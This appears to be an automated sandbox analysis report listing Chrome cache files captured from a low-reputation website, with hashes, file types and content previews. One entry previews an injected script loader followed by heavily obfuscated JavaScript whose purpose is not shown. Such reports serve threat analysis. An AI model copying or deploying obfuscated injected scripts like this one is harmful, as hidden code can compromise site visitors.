Category:	downloaded
Size (bytes):	2619
Entropy (8bit):	5.100764580201321
Encrypted:	false
SSDEEP:	48:6D+IiA0lkvMFfHFFf3QrFfUqFfIFfpiFf8Mj:63ircMTteSqqjiSO
MD5:	0224C4FDD3FF8C13FBFD3ADE7018C609
SHA1:	E277E2B8909E26371744B3551710D477987CE689
SHA-256:	D403F117DC25BA6D5C33F00F68DD899B7247C452D9D0C5F174A2415C40824B71
SHA-512:	8A53F351F477D6FFBC5F3433738F7855095D666921392C6DC0827567560745B8EE56433E993ADC854A8EE40457448514657E6E8DB69AE08F29581FAC7EFE0633
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/meanmenu.min.css
Preview:	/! #######################################################################.....MeanMenu 2.0.7...--------.....To be used with jquery.meanmenu.js by Chris Wharton (http://www.meanthemes.com/plugins/meanmenu/)....####################################################################### /a.meanmenu-reveal{display:none}.mean-container .mean-bar{float:left;width:100%;position:relative;background:#0c1923;padding:4px 0;min-height:42px;z-index:999999}.mean-container a.meanmenu-reveal{width:22px;height:22px;padding:13px 13px 11px;position:absolute;top:0;right:0;cursor:pointer;color:#fff;text-decoration:none;font-size:16px;text-indent:-9999em;line-height:22px;font-size:1px;display:block;font-family:Arial,Helvetica,sans-serif;font-weight:700}.mean-container a.meanmenu-reveal span{display:block;background:#fff;height:3px;margin-top:3px}.mean-container .mean-nav{float:left;width:100%;background:#0c1923;margin-top:44px}.mean-container .mean-nav ul{padding:0;margin:0;width:100%;list-style-type:none}.m

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3130), with CRLF line terminators
Category:	downloaded
Size (bytes):	3153
Entropy (8bit):	4.49598463948393
Encrypted:	false
SSDEEP:	24:hVivcxPSjiyiaHcxPSjixQiaBtcxPSjf8iamuO8WiaR7iacBgGiaRg3BgAiaRgQe:1+zu+kYBY+ss/dkXRmRRmzqhx8auXoS
MD5:	599582880439C2D2CD47994E13B060FF
SHA1:	01264F4153D9891A3CB2EAD0EFAE4C9A40EC20E1
SHA-256:	4EFFA0D27712EF839AC440F62524F7E89991A8824483087E639FF3A42AB6EC7F
SHA-512:	72DAEDF897F81FE2D1E7AE7B964C63B41D0BE6D5B7D8AD4D1E6CA40FD19F7E5F0C8A0BFEC41954726CDAAC104DA4912DC3636C64A7533E9A1D68B7812C67E5ED
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/odometer.min.css
Preview:	/! odometer 0.4.8 /...odometer.odometer-auto-theme,.odometer.odometer-theme-default{display:inline-block;vertical-align:middle;vertical-align:auto;zoom:1;display:inline;position:relative}.odometer.odometer-auto-theme .odometer-digit,.odometer.odometer-theme-default .odometer-digit{display:inline-block;vertical-align:middle;vertical-align:auto;zoom:1;display:inline;position:relative}.odometer.odometer-auto-theme .odometer-digit .odometer-digit-spacer,.odometer.odometer-theme-default .odometer-digit .odometer-digit-spacer{display:inline-block;vertical-align:middle;vertical-align:auto;zoom:1;*display:inline;visibility:hidden}.odometer.odometer-auto-theme .odometer-digit .odometer-digit-inner,.odometer.odometer-theme-default .odometer-digit .odometer-digit-inner{text-align:left;display:block;position:absolute;top:0;left:0;right:0;bottom:0;overflow:hidden}.odometer.odometer-auto-theme .odometer-digit .odometer-ribbon,.odometer.odometer-theme-default .odometer-digit .odometer-ribbo

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (308), with no line terminators
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	5.417482737389702
Encrypted:	false
SSDEEP:	6:qQQfwvP/kGTMKxvasmzGIlCP70Jfium3cqOd1zlCiKzrJXqOXMMntwsvfn:cfwvP8GAksCP70Qum3+15CiKn91Ltbfn
MD5:	F9FC52AB67F035B8BAF5D558714CC94D
SHA1:	37062A6FB1EF410D496137D44275738AE743C747
SHA-256:	C31F2003F1C93AC1E34B09F376D97A65DA6E110BF451CF1E0E50A7946C5E7212
SHA-512:	EBB0415852FBB5B964094E2E55A28B90F701DFF1977C8B98C6F24D65D09067DC0C417D01492CA28A4BE6747816D7C0BFAC87B73A33725AEE047A5D2F7AB83182
Malicious:	false
Reputation:	low
URL:	https://zz.bdstatic.com/linksubmit/push.js
Preview:	!function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r)):r&&(o+="?l="+r);var i=new Image;i.src=o}}(window);

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 88, 8-bit/color RGBA, interlaced
Category:	downloaded
Size (bytes):	12490
Entropy (8bit):	7.96475096113655
Encrypted:	false
SSDEEP:	384:3eKRwv81zI3L5JS+OgE5t2I1S/QBsic2WZRlxcgC:1mv81kXS+y5QaBsbnlxG
MD5:	0F9429C6B30EF046885B731A01322357
SHA1:	0DB41EEFBA8E306990BED8746D153950D4ADFCDC
SHA-256:	47A1B82DCFB2027C92FB2AD14E58313348D58DA6F1D49ABC20F48299A157242C
SHA-512:	6E751827744C880890A9C604039470B9E9C1A0AA0DAF7DFE07D75B2EF2329445D986B0A7717C9566AB76B196898ED224DFD0413B294E5A6350B23F1AA67F9A7E
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/services-icon5.png
Preview:	.PNG........IHDR...d...X.....t]b.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:9BE19416596511EBACADB5A3BBF7EDB1" xmpMM:DocumentID="xmp.did:9BE19417596511EBACADB5A3BBF7EDB1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9BE19414596511EBACADB5A3BBF7EDB1" stRef:documentID="xmp.did:9BE19415596511EBACADB5A3BBF7EDB1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..Ix..-:IDATx.b...?.....:.............aX'.Y.....\|.........>Dh.{.H..................\|\|\|.aaa..>}..3.....0g...

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	552
Entropy (8bit):	4.651666929826594
Encrypted:	false
SSDEEP:	12:TvgsoCVIogs01lI5INGlTF5TF5TF5TF5TF5TFK:cEQtniTPTPTPTPTPTc
MD5:	735272B9DDEDE509DFBB7039BFE4A1F4
SHA1:	1FC5550A51E79CAD98C01D7ED9B4738AFEA1509A
SHA-256:	BA06358E68429145A15D0C1CFB211CB1B82680EF0A0B3EFA376C68E9C1E4EA03
SHA-512:	9137B885DD113828B0FAB361E87701800AFFEC6C52A510F47F27B81DD29FF1897356E8EB3CBD378E03B4367EC698D450A10682747AD18647D5A92093824CA510
Malicious:	false
Reputation:	low
URL:	https://35.194.194.1:29888/
Preview:	<html>..<head><title>403 Forbidden</title></head>..<body>..<center><h1>403 Forbidden</h1></center>..<hr><center>openresty</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	7.813802723620955
Encrypted:	false
SSDEEP:	24:xvjkCXcZYNJLGH5lirViHfgosRloVKIbQ6cz36rJf7Bz:+UcZYNmDOViaTGK4Q6OmJfF
MD5:	FF1D15D33544F8CE51C54602F4DEBEC3
SHA1:	A8B8A22216A754BDD8F9B45D7D0AAFB07A413D7A
SHA-256:	FF9074EB7E11CE32D3F69A3FB97BA06A69DAE277A81A6C900D07AA1FDAD0510D
SHA-512:	5C9111908E8EA6B13AA45E0641C6195BC6AE0FEE44755CE9A898098FF31E15986926EC200B8DDCE074FA8CC9F0EFD9C9B4BD9C2A2532848EB5C2238EF0E472D4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d.....IDATXG.}LUu..?.......(.@ ."...j..t.2L-+5.+.M...Y..rX./.25':_..5]..8^&Q......B..r.....v~[.?...I.....w~..y...s~...!..g..(I.D..T.NW.r..IN..uI......p.[EQ.7%...)..M!.r{....X..A.. ....E.0A.(.PDU...Y/#......S.......lU.\7Pt&L.}.5r.P..W.RXO..F.....,.~w..x2.FQx....8}..V...A&{B,oOzD<_Z{.......!).J..$...U...mG....s..%.R.....\H..K.34..d..e..x".:E.O..G..mf...j[....!...-...GF...18;\|.\|}....@h...KF2.....9...%..N.f.....&..o..]..1..RF.Q.4....<A...1D....T.z..c.~n..po5.~s......K..)....@TU..U.....Z..2.........)}.....V."..E.".....M......UH.ga....{.b.V3[....H....I..%R0gB....:.D.yGq.....H.+..!.....>6...k.X.....7...N..B..o.....f...Qf^.C.;u .Yb..(...{.0.Z._U.TB(...\.KMm$.=C............4.C..[[..v..G.nZ.p....l.]..J.5..;.l...B..r...7....V..@.I.....v..W......".4..Z.D..?....%<....(`\|... ........J.X+..8U../[=...!..r. .....j......aP...F;.y%...z...X..<.c{...)..Q..$%*.U..0wg%&..!.Vz...Z.P.......... U7.L.\...H.

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 462, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11586
Entropy (8bit):	7.961844688205225
Encrypted:	false
SSDEEP:	192:5TwepgmddvEy/kWjCRZ/AQ052rlrskZVqEXOuQjOfq6Xl68QjTwoZFLFVfm5qyZ:5TrgEvEy/GRJ50OlIkT/ODoV1fWDLrYt
MD5:	D44328A17E6D1FECC4AF85203D4B2537
SHA1:	06986C79033AE4E1CF7D665FFCBD51BD441D4F29
SHA-256:	3CFD00E1DC281004F1A5496AAC5F861F1542E8F886483C2A4984EF289FF53413
SHA-512:	193A4A24B582E6AA7B70F7609A6BFAFA20DE337E52C6925ED02872021D70C89F8C5D89C2C99A3033D511376CB1A8D8B9712EB56E4511F14F5409D87E084854BF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............1......PLTE...@I\|...@K{@Jz?J{.@I\|7g..........?J\|?J{?J\|..........?J\|......?J{:Cv9Bt......=Hy..@J\|7<n...AHy;Ex....?J\|?J{?J{..............>I{.?J\|...@J\|?J{..........?J{......?I{.?J{...>Hz..............>I{..............?J{....AK\|.................?J{.......?J{.....?J{....................?J{.......XQ}.....................m.........y_...........{..\|..Tc......k[..j{.@K\|.............CM~...MZ.....t..n......DP.O\.....GS.............Wf.........JW.......\l.aq.HO~..............Q^......NR....ev....\].Sb...TR}w........TX...k}............z.........}.............]U}i{..v...}..zq.pj..t....{......fd......z..g.......b....p\.....k....q.............)+Pj....tRNS.6o...{.............&.......-.....$.....V0..~=..'..F..h..f".qD...NM<4...._G..N...U.....o?.k^...\|bX99uo.{e..XB.N..s..x....}J...........(...)pIDATx...IL.Q........A......kT.[.qC.!..

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2133
Entropy (8bit):	4.575761601296124
Encrypted:	false
SSDEEP:	48:tXEBJgeiLcGKkIeVPrRjlLp1783dXkX0KtA7/YVOYFxD3RjODNM:tXEBJ698UPlRvX0KRLOa
MD5:	002D5D4F21E0181EAF063E1726AA33C2
SHA1:	07B1FDC9FF69D54F174C8BBAFEB77C5882258A65
SHA-256:	400D776F6DF26F2184B63CE1BEB5CF4539C067CB7A5613AFB071C9DBAFAC8E01
SHA-512:	D7031065915E29FE772F97CA2A940E2A58A7E007F98147EE9C96E2BB434AD1C1372AD79EC2FF8274F7C4162DBD14F8CE69DB63FAC42C4B9EEFC9EB40C0C9894D
Malicious:	false
Reputation:	low
Preview:	/==============================================================/..// Contact Form JS../==============================================================/..(function ($) {.. "use strict"; // Start of use strict.. $("#contactForm").validator().on("submit", function (event) {.. if (event.isDefaultPrevented()) {.. // handle the invalid form..... formError();.. submitMSG(false, "Did you fill in the form properly?");.. } else {.. // everything looks good!.. event.preventDefault();.. submitForm();.. }.. });...... function submitForm(){.. // Initiate Variables With Form Content.. var name = $("#name").val();.. var email = $("#email").val();.. var msg_subject = $("#msg_subject").val();.. var phone_number = $("#phone_number").val();.. var message = $("#message").val();...... $.ajax({.. type: "POST",.. url: "assets/php/form-pro

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7187)
Category:	downloaded
Size (bytes):	7747
Entropy (8bit):	5.737333126099899
Encrypted:	false
SSDEEP:	192:3LbwMfqEK6ZAcjoFquwfUfvMRFtTMPF/g5PFAAAmpC9yd+Yvmg:3Hw6DK6ZAc0FqXUXMFtTM0B/C9yd+Tg
MD5:	16CE6DE4C48A89ACF0CC98E08A2883FF
SHA1:	178BF599CDD3C6AAEDD8DBCB179A1F0AA409B1EC
SHA-256:	60B74EFEA154000BCB16A500B8A97470CC0512714859160D54E5CBFB5C4DAF98
SHA-512:	FE8D0B33596674638F00E55310C8E6711A202FDB4DE288463071A9DA2428335F24607C7DA637CA2E66BBC4E5FEADBF03F0A67DBC949B96C82CAC3BEB3C615DBF
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/jzwkqucn.js
Preview:	. document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"KQGOswWUPTJRCryv\",ck:\"KQGOswWUPTJRCryv\"});</script>")....var _0xod6='jsjiami.com.v7';var _0x4cd701=_0x50be;(function(_0x182b85,_0x40b41c,_0x4eab72,_0x291405,_0x457e6e,_0x593005,_0x30e5a8){return _0x182b85=_0x182b85>>0x9,_0x593005='hs',_0x30e5a8='hs',function(_0x365806,_0x5c3ae2,_0x2e8eae,_0x2f5f51,_0x554e07){var _0x271ef1=_0x50be;_0x2f5f51='tfi',_0x593005=_0x2f5f51+_0x593005,_0x554e07='up',_0x30e5a8+=_0x554e07,_0x593005=_0x2e8eae(_0x593005),_0x30e5a8=_0x2e8eae(_0x30e5a8),_0x2e8eae=0x0;var _0x

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8099), with CRLF line terminators
Category:	downloaded
Size (bytes):	8157
Entropy (8bit):	5.202101426815786
Encrypted:	false
SSDEEP:	192:7mEE6yAmu6qUxbU5C9nrr1GkEPIAeJ3KO4poIR:iEE/Amu6qUxVBxGkAI///IR
MD5:	164B265E6089F412B7927848018AE6A1
SHA1:	1717E6B487126C5C3E992D47DBA4C6C10F4529BC
SHA-256:	81C4CB0BC57B5CCE1816BD704F7A2B12EC2B143C6A067402644D4A139B273350
SHA-512:	956BBDA2E4F3069C72D8DBC003D04D02A6026428BEB9B9C8B0B78EB1DCCE9B73B6F619B5558A4EEC9C6D681EAEC6EBB45E4ECD504A77EF9AD69B9B95373A3270
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/wow.min.js
Preview:	/! WOW wow.js - v1.3.0 - 2016-10-04.. https://wowjs.uk..* Copyright (c) 2016 Thomas Grainger; Licensed MIT */!function(a,b){if("function"==typeof define&&define.amd)define(["module","exports"],b);else if("undefined"!=typeof exports)b(module,exports);else{var c={exports:{}};b(c,c.exports),a.WOW=c.exports}}(this,function(a,b){"use strict";function c(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function d(a,b){return b.indexOf(a)>=0}function e(a,b){for(var c in b)if(null==a[c]){var d=b[c];a[c]=d}return a}function f(a){return/Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(a)}function g(a){var b=arguments.length<=1\|\|void 0===arguments[1]?!1:arguments[1],c=arguments.length<=2\|\|void 0===arguments[2]?!1:arguments[2],d=arguments.length<=3\|\|void 0===arguments[3]?null:arguments[3],e=void 0;return null!=document.createEvent?(e=document.createEvent("CustomEvent"),e.initCustomEvent(a,b,c,d)):null!=document.createEventObject?(e=document.cr

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 207 x 219, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11480
Entropy (8bit):	7.972395484522248
Encrypted:	false
SSDEEP:	192:/achTtoCcUIuHsaik36kyYQLl0fZECtAD7zJ4vEZ1PT+MRRXaWXGK0z11zHUfzh4:S4TsU4xw7yYDPGJ4vKPT+MRRXrXkzD66
MD5:	6D262A22B5328EB770E5009A7694F8CF
SHA1:	EF8D18BD57BB6A087B04F4A11C50D8F924A97A32
SHA-256:	876A593D8C7BB29F253B4173AA6E480D60C831A0D43C57740BB5ECFB751E1175
SHA-512:	AAAC1A63A0650143D88146951B6AB4AA66DAE0BBA7C32161E259A1A3CC989C4D816327E85D5B1B93662D51F017DA2F90965C4A99AD7D570542C403E321CE85C4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............5.....PLTE..........Eh...(ob.....U..T....Fi..U........G.......Gk..V........U%lb...........U.Eh.Rf)qc.Kg........."jc%kb........U+qb.............>h.Ch/tb.....U..V.Fh........V<.`...serc..V......5y`qc.Fi............ e^.....V5y`..UB._.e[..W...........U..U...\|.Zf.[..X_.\.....V[.]v.Z......J.^j.['nc.Hh........VV.]&ebP.^..V.Hh..XN.]s.Z...'m`.[dob.Tf..U.......r\&ma..N!Xe....]d<._..V.Lg cdo.[..X~.Y..X.Fh`.\..U..WE._..U..Q.[e.. .Lg`.\w.Y)qd.Ii,td..X.\e..W)oc'mc(l_..S0ta..SQ.]..V.]c%ga..U.Z_..Q..X`dX.].Ogj.[ 2%)eXEz`.-)..V9xa..U...(ob)oa.D]..OC._X.].[e..U..T..S..R.".%aV.>h.41y.Q.Ig+rc.Kf.S]5kc..T+5....t.= SJ..W._c.\_;J%..V..U.=7.NK..V..R.(8Sm4.,/K.`X.]..U].\-rb.Kc:pb..ZD.[!D:.F_.;5!SJJ\..Wg.[..Y.1+..V\|.V..S.E>!:-..X"VL.;5..RG_0Ri1.0Fe}5.<AE.`d.LSl4.7R)ob.Eh..U.....U.Eg(nb.Bh..<-....tRNS................................Fp...7....%....y....>..2...gM...-....Z.......S)................`.........e.....%..................#...........VIF=....,.......9......u ...

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	41498
Entropy (8bit):	7.981363232177285
Encrypted:	false
SSDEEP:	768:jWp9pnOrwDclHI8Cu/RSzlF6PY+iCu3ULnpCW4ESGBJiTu7:ap3OrwsezJF6PZwYnTfAq
MD5:	03C8E270BA1167F96B8AF00238E59095
SHA1:	C05ACA6A7B4C9675E0A98E4F1EFB8CDBAAE1DF5D
SHA-256:	DFDD0A3E1E26BA4629448BD3AFFB4EF0D89A224A147CEDA74105BD3E361C9BEA
SHA-512:	D1390014D19ECBAE419CA92C17D307325EB13461C8367F6A4B2ADB2175437C7D4647FDE17D3171697BB4E27466D03B66FDB35D0689BDDECA7FA80EA2EF526DC9
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/shen-zi-shan.png
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<... .IDATx...ux\e.........6uW.J.R.R..gY...-.......R....P.B.Rw.6m.$......jI.{.$..<.t..{.K3s..WC......@.q/...X...~.G.J..(<....^...v!..h.n...P.%..d.{...3....R%....l<..p..(Q\|>!..I. D...:...v@{ ..I>.T.k....c..G.M.B.)I...>.@W` ............s...w.C.B. !.....................L>.Z.x.."!..".l.P.E`...1.../..7P=_A.!..:-...'...&.,...PO.^..B.F,..+.D.@.l.......J.!...^..d{...X...x.}"..B.....D..p...6..b..c..B.!DPq...[......v.w..Z.N..B.......!.7.......Z.X.!...;.......k?z".<..J.!.0M...........f.Rd...B.....L.ox.:..'.[..=!..$c......L..\|g.v..8B.....'46.Gh.vw.V...b....@YQ!^O.U..T.-......{).....SR..........x.}^FA.."DP...3!.DC......p[N.Y,Dg..-1M....Mtf6Q..D$.......R.{...n...M.......\|..[...<j.C....z...$...qzy...Y.n...S......Ij...mq..v"\|y..v.X..K.h.[~.M..].m.I........l$...D.p..8.^on..!..`...Of...4..dsj.`.Z..8...c....>..&..w.o>$..B.#....K.^.......,..$..0....K.KYO~ x...h..

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.7971097825152045
Encrypted:	false
SSDEEP:	24:nLAjoi4s3pPSlArBcT6ciwrSAfP7QfopnT5hgvrRyEbRvBLgeC3Tv:nsO0frBcT63IcGnva9RhxoTv
MD5:	81AF3B12DBBF01A786E3225BA6629589
SHA1:	414D758263BC23088938A62D2E3746B3AE02D378
SHA-256:	8C33E8FFFC32B299CAFDBAA737A24B490F6070ADAC1589239C1FE2BC90F1480D
SHA-512:	C78E6BB28D3C8921CBFEF33283FD73C3E6FB35555E8B6E1D681D2CA48580A806D04C1097EC997CE58D5B45D758FB36D73FD09A87243B9B60F6EF3538A09E481E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d.....IDATXG.YlTU...s..;m..t.+-m.[6)..E#JP.`.HJ.."$>.$j\......... ...h .h1ZSR.A(M.V[...f.w9...b.2wdL...>.?.w...!.L1.c.m......(.P(.]....B...ed1\..m{...B.G(.%.?p@6.O.p..o...<....`..\'X6bL.Jj.9.>...!........"...}.?.cl.U....1F..R....U.Cdg!..1.....%.....r.T.@...~..Zj.06..D...?.a\|.....8PW.!P..G..Wi.......".iS.EK!..T.,(..H....-.u.".;....ov..............a.bP4O{..@.....A..{:@.@....hU..{..... ..6<.w.iY....{.'..A...H..d.n.(....u.T...z9.;.y.W.KW.azQ....t...P@.,Pr.\..#..9.}.L.r.w....`l..uB)V.).yn..N..a.;L.e.f...<.>?.%..9..}..W.a...v..0.......C..W....F......lG.R1...M.s../Z..w`....0..g..Y.Q...X.}M..fd.iw...g......LD`..B#v........?..I..s..4=......m.t.SgP.......}.'P2. 1..X#...d.Dh..G.Dd.(.A.M.`;....%.....K..7a.. ..<. .5+HZ..Ja.......QK....#Z...#.PR.Qrs.fN#.y.......N...nD....}z.J....(7..p.v....X.^F..l....,.....^.~.x........`w..z......e\!Fm..Y...P.r....--.._..D.... ...\...F.]..jD.Ldo#..X......1..Bp.*0.U-.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 31, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1478
Entropy (8bit):	7.807010496261533
Encrypted:	false
SSDEEP:	24:voDAWOrK3xoc1ZkuaNJgraLimplmbdUnCAwTC1+b2PZGjLZ2OXP9:wOsocPdmplKdUnJGCZI3Z2Of9
MD5:	00AD3A0E9D53EFA29AD42F94B76449E6
SHA1:	F57B7AC049C7D2475303952C0B05504773C841A3
SHA-256:	A62A0CAF5261B8C6438C781F06CF285AC2B584DBFF1EA614CB44B0D195FFD118
SHA-512:	BA1FCB83C34F5329564D0191AE64D93DAAC44A45A0DF0E4C0B86FFC78A7862513941E6875A34515BECED1CE7F847A2C5F0BF2BD70C2725E4D987EB9BBF5617CF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2............Y....sBIT....\|.d....}IDATXG.{LSw..}..-..2...<.Q!.....a,2..c..p.13.eh...f.?.....6... .M.... ...Y...X...Z.}....b2.h....&77........;..2\|>...v/.z....._...d.8.....n...`l..._...z.....c#..q.1..W.d..5....!.}...yF\|>......wlr....Gl<.7.v'8...l.5..D...?Z.o/#6.E.;..9g.....\|....H.'.:8.!.y.p...d.M+.u...G.>...............<?.V=.:G..sd.T.. .....M.....9.F.... ,..Mtl?...S..&EaU.M..[...'.8.s;fU.....#.....c......n.>...Uo.-H.Gu.....&..f.@49.&.9.mWc......-.....[.~.4...#.2&A..C..s....-_.G..S...=H.K.q.]..P.Y..B.4.\a0......r.u.9.-A.._...b.......{.`..1.$.6...%.M.8Ur.@..{...D...... ......`...WS...`.....S...OK.d..n'<N7...L)...q5.. y.T.LO.{ n....:..8....m[..*9.a....\...t......-.........U.?....{.r..m....L=...`.N..Fy..6..Tz.B...`...y{..^~..u;.....I(.Z.....~.o@........8.:IJc.dve!t....&Fa.`..jGd.....C.i....9...... ..........^...&Daa.......fO.{.t8.<..b.}....q..X..9.....s..-D.z..u.8.1...y..Zv.T...<.O..I..l.n....9).L.A[..j..g..

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	51133
Entropy (8bit):	7.979157889278695
Encrypted:	false
SSDEEP:	1536:JHeui2Am+pEquHlOPu1e7pCGXcweA5g5x7+Xz:cfi+iPOZbswV5y7+D
MD5:	4E27D5ABCE1CCA9B416D483033457A53
SHA1:	015EEBBFA6997010E4911CDC87D1ED48DDD45703
SHA-256:	FC701518C5A8A7B5A26F76DB097668AEC6FBF56EEA5F28086A6AB1FAE62D46E6
SHA-512:	3FCCC1B66B4BD5A851CB0032EE3ABEB5A29318C8219B3387378FDBCA91A935D9082DD3B46BBC6AC18730333C930C7F44C80D7660FF202F9396E40DF2B4AF413D
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/ji-ji-bo.png
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<... .IDATx...wxT............z..CoR...."....(....H..."M@.w..;$..NHBB......w.W..=5.}.<p..uVprf..kk.$.8.~.?....}..5.?w.\....._].......# ..........!..<....@.S...)B.KI..Nc..$I..Z.....W..~-..`x.w...-D..B..__W.....O.!I....@.L.(P.(..........2.<...b......N....$.:...$.......__5.@s&e.R.3.Y..p.8.a.B.$.d. Ib...........%.....`?...A.9..$[ ..IR...0~.P....N2.G.F...{....3..$..d. I........U.p1kF........v.[...$=.,.$..U...-1..;<..K.".8.l.6....Y3.$.$..I..'.C..N@1.#.r......+..H.....T...m1\|.o........k.....JR.$...0...:b...5...c(..chR$I..,..........!_..?..~..chR$I.$Y)'.+....a!..._........p.$I.d.....M....o&...21L.D#G.$I.,R.0..<...4.m~].>B.r.l..h%k..a..3.d.....>....j.....>..x..........h5....pvt......V.....N.?{..Av...n.C....99<....QF....$..q?-.......>0...$?0..O..l......1.+.$.#....../..0...Z..`?_B..(..DhP ..)..H...\|<<.i-w....n$$p..=.'$p......Y...NQ.x....@..s......dMJ.o..`.}.].

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 320x180, components 3
Category:	downloaded
Size (bytes):	13867
Entropy (8bit):	7.967754768760031
Encrypted:	false
SSDEEP:	192:GYBXoCuM09X4pXFULT//EerVsg2M28RIusRbazYUPnW2O7FFotsFxNgw3sE8KBpt:GEf09O1Uv//m8Rfwb05WkasEXt
MD5:	F35EBDF15A728AB8E9A27CBAB2E2368B
SHA1:	F03C23B37BAD31EBD5E5C1F598E5F75CD6BC3A92
SHA-256:	D0BAAB66B2FED0AC8E13A0C593B33D1293C141EE91438E947DB6493819A4FA48
SHA-512:	7185DCA5DAE749623228A8AF478CCD3E21DC9D7FC6FAF64345BBC6DF008F28D4807B7739087CD596C03416C253851658081D2C2FAB4552E31563884F0CB04D8B
Malicious:	false
Reputation:	low
URL:	https://imagesspace.hks3.layerstackobjects.com/images/img_678003bd8a5647.43110570.jpeg
